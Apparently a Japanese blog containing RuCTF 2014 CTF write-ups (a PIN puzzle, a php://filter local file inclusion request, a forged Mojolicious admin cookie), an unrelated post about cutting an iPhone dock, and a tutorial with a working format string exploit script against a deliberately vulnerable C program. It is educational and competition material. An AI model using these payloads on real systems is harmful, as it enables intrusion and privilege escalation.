        s = T[p]+"%x"%(i+2)
        if len(s)<len(T[q]):
            T[q] = s
            Q += [q]
print T[0x14]

4753928a3647で、0x14に到達できることが分かったけど、投稿しても不正解(´・ω・`)

追記:

qwerty 2014/03/11 03:01
In PIN code you got keyboard scancodes. You can translate it to keys using this: http://ru.wikipedia.org/wiki/%D0%A1%D0%BA%D0%B0%D0%BD-%D0%BA%D0%BE%D0%B4 It is available only in Russian but understandable. So, you should write 364281792536

コメントで教えてもらった。これはキーのスキャンコードなので、それをキーに直す必要があったらしい。たしかに、呼び出されてはいないけど、in al, 0x60とかのコードが問題のバイナリ中にあった……。

vuln 100. Guess the flag

与えられたプログラムがサーバーで動いているので攻略しろという問題。
試しに繋いでみて、何となく「F」と打ったら、一発で正解だった。ラッキー(・∀・)

>nc vuln1.quals.ructf.org 16712
So, what do you think the flag is?
> F
How pathetic. Here, have a hint:
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
RUCTF_f4205156a73b7bd143ab06e7722e3c81f72b8429
RUCTF_f4205156a73b7bd143ab06e7722e3c81f72b8429

web 100. php

指定されたサーバーにアクセスすると「Language was detect automatically :)」と書かれたファイルが表示される。Accept-Languageをruにするとロシア語になる。/enや/ruで、ファイルがダウンロードできる。ということで、Accept-Languageにファイル名を指定すると、任意のファイルが読み出せる。どのファイルに答えが書いてあるのか分からず、終了。

追記:

01:08 (stypr) http://logic.stypr.com/ctf/2014/RuCTF_solutions.zip (misc200, recon100-300, web100, web300, stego 300)

index.phpを読み込もうとすると無限ループしていたけど、php://filterを使えば良いのか。前に見た技だけど思い出せなかったのが悔しい。

>nc w1.quals.ructf.org 80
GET / HTTP/1.1
Host: w1.quals.ructf.org
Accept-Language: php://filter/read=convert.base64-encode/resource=index.php

HTTP/1.1 200 OK
Server: nginx/1.2.1
Date: Mon, 10 Mar 2014 18:09:21 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.4-14+deb7u7

429
<!doctype html>
<html>
<head>
  <style type="text/css">
    pre { width: 640px; white-space: normal; text-align: justify;};
  </style>
</head>
<body>
<center>
<h2>CTF</h2>
PCFkb2N0eXBlIGh0bWw+CjxodG1sPgo8aGVhZD4KICA8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgogICAg
cHJlIHsgd2lkdGg6IDY0MHB4OyB3aGl0ZS1zcGFjZTogbm9ybWFsOyB0ZXh0LWFsaWduOiBqdXN0aWZ5
O307CiAgPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KPGNlbnRlcj4KPGgyPkNURjwvaDI+Cjw/cGhwCiAg
aGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCcpOwogICRmbGFnID0g
JzVjZjI3ZDliYWQyZmU5ZDk2ZDJiY2YyNWMzYjBiZDE0JzsKICAkb2sgICA9IDA7CiAgZm9yZWFjaChl
eHBsb2RlKCcsJywgJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pIGFzICRzKSB7CiAgICAk
bCA9IGV4cGxvZGUoJzsnLCAkcylbMF07CiAgICBpZiAoaW5jbHVkZSAkbCkgewogICAgICAkb2sgPSAx
OwogICAgICBicmVhazsKICAgIH0KICB9CiAgaWYgKCEkb2spIHsKICAgIGluY2x1ZGUgJ2VuJzsKICAg
IGVjaG8gJ0xhbmd1YWdlIHdhcyBub3QgZGV0ZWN0IGF1dG9tYXRpY2FsbHkgOignOwogIH0gZWxzZSB7
CiAgICBlY2hvICdMYW5ndWFnZSB3YXMgZGV0ZWN0IGF1dG9tYXRpY2FsbHkgOiknOwogIH0KPz4KPGNl
bnRlcj4KPC9ib2R5Pgo8L2h0bWw+Cg==Language was detect automatically :)<center>
</body>
</html>

0

復号

<!doctype html>
<html>
<head>
  <style type="text/css">
    pre { width: 640px; white-space: normal; text-align: justify;};
  </style>
</head>
<body>
<center>
<h2>CTF</h2>
<?php
  header('Content-Type: text/html; charset=utf-8');
  $flag = '5cf27d9bad2fe9d96d2bcf25c3b0bd14';
  $ok   = 0;
  foreach(explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']) as $s) {
    $l = explode(';', $s)[0];
    if (include $l) {
      $ok = 1;
      break;
    }
  }
  if (!$ok) {
    include 'en';
    echo 'Language was not detect automatically :(';
  } else {
    echo 'Language was detect automatically :)';
  }
?>
<center>
</body>
</html>

web 200. es

2014/03/06追記
解法がこのブログに書いてある。
ユーザー登録してログインすると、

mojolicious=eyJuYW1lIjoia3VzYW5vIiwiZXhwaXJlcyI6MTM5NDkxMDI3NX0---899e014b21f9b225c63cf9e8b2901e3c0b1ebce5

という感じのCookieが設定される。復号すると、

{"name":"kusano","expires":1394910275}

Mojoliciousというフレームワークがあって、セッション情報をクッキーに保存するらしい。後半の署名はHMAC-SHA1

import hmac, hashlib

d = '{"name":"admin","expires":1394910275}'.encode("base64").replace("=","-").replace("\n","")
h = hmac.new("ructf", d, hashlib.sha1).hexdigest()
print d + "--" + h

でnameがadminのクッキー

eyJuYW1lIjoiYWRtaW4iLCJleHBpcmVzIjoxMzk0OTEwMjc1fQ----e586f70910c6e66df384c1d80f853e4a30881e34

を作り、設定するとadminになれる。

054ad7a734437d6853383ad919526dc5

iPhone 5sにストラップを付け純正ドックに載せる

iPhone 5sにストラップを付けたまま純正ドックに載せられるようにした。
ストラップはNETSUKEを使った。AmazonでもAmazon発送で買える。ドライバーが交換式の先端だけになっていたのが若干残念だけど、しっかりしていて良い感じ。

このままだと純正ドックには挿さらないので、純正ドックを加工した。
分解。

ゴムのクッションの裏にネジがあるのかと思ったけど、周囲の爪と重りの上の接着剤で固定されているだけだった。ドライバーとかでこじれば開けられる。
NETSUKEの金具の分の穴を開ける。

表面を削るだけで良いかと思ったけど、面倒になって切り取ることにした。リューターの先が平たいビットで切ったけど、かなり面倒だった。ミニ四駆の肉抜きみたいにするべきだったかもしれない。
完成。

書式指定文字列攻撃

このプログラムには脆弱性がある。

#include <stdio.h>
#include <string.h>

char target[] = "test";

int main()
{
    char buf[1024];
    fgets(buf, sizeof buf, stdin);
    printf(buf);

    printf("%p: %s\n", target, target);

    return 0;
}
$ g++ -m32 -o bug bug.cpp
$ ./bug
abcdefg
abcdefg
0x80497fc: test

printf()の第1引数に外部から指定可能な文字列を渡してはいけない。これによって、ほぼ任意のアドレスの値を呼んだり、値を書き込んだりできる。

書式指定文字列攻撃という。CPUのアーキテクチャに依存しないし、スタックのアドレスがランダム化されていたり実行不可能だったりしても問題無いので、使いやすい。

スタックの読み込み

printf()は引数の個数を指定することができないので、"%x %x %x %x"を渡すと、スタックの第2引数、第3引数、…があるはずの位置の値を出力してしまう。

$ ./bug
aaaa %x %x %x %x %x %x %x %x
aaaa 400 4db440 18168c 61616161 20782520 25207825 78252078 20782520
0x80497fc: test

printf()の第5引数があるべき位置に、変数bufがあることがわかる。
"%n$x"という表記によって、n+1番目の引数があるべき位置の値を表示することもできる。これでスタックの先の方も覗けるし、何番目の書式指定文字か気にする必要が無くなる。

$./bug
aaaa %4$x
aaaa 61616161
0x80497fc: test

特定のアドレスの値の読み込み

↑からprintf()の第5引数のある位置は、bufの先頭であることが分かる。bufの先頭に読みたいアドレスを書いておいて、%sで表示すれば良い。

$ python -c 'print "\xfc\x97\x04\x08 %4$s"' | ./bug
 test
0x80497fc: test
$ python -c 'print "\xfc\x97\x04\x08 %4$s"' | ./bug | hexdump
0000000 97fc 0804 7420 7365 0a74 7830 3038 3934
0000010 6637 3a63 7420 7365 0a74
000001a

特定のアドレスへの値の書き込み

%nを使う。%nは引数で指定したアドレスにこれまでに出力したバイト数を書き込む。読み込みと同様にbufの先頭に書き込みたいアドレスを書いておけば良い。出力したバイト数を目的の値にするためには"%nc"を使うと1文字以上の任意のn文字を出力できる。また、"%hhn"を使うとポインタがchar型とみなされて1バイトのみ書き込むことができる。
0x80497fcの値をx(0x78=120)に書き換える例。

$ python -c 'print "\xfc\x97\x04\x08%116c%4$hhn"' | ./bug
                                                                                          
0x80497fc: xest

"%120c"ではなく"%116c"なのは、先頭にアドレス指定用の4バイトがあるから。

複数の値の書き込み

これを繰り返せば複数の値を書き込める。x(0x78)を書き込んだ後にa(0x61)を書き込みたい場合は0x61+0x100-0x78=0xe9バイト出力すれば良い。手作業では面倒なのでスクリプト

# coding: utf-8

from sys import *
from struct import *

# (アドレス, 値)
T = [
    (0x080497fc, ord('h')),
    (0x080497fd, ord('a')),
    (0x080497fe, ord('c')),
    (0x080497ff, ord('k')),
]

# 書き込む文字列の先頭がprintfのoffset+1番目の引数
offset = 4

code = "".join(pack("I",t[0]) for t in T)

# 出力した文字数
n = len(T)*4

for i in range(len(T)):
    l = (T[i][1]-n-1)%256+1
    code += "%{0}c%{1}$hhn".format(l, offset+i)
    n += l

print >>stderr, "code:", repr(code)
print code

実行結果

$ python attack.py | ./bug
code: '\xfc\x97\x04\x08\xfd\x97\x04\x08\xfe\x97\x04\x08\xff\x97\x04\x08%88c%4$hhn%249c%5$hhn%2c%6$hhn%8c%7$hhn'
                                                                                                                                                                                                                                                                                                                                               @
                                                                          ・
0x80497fc: hack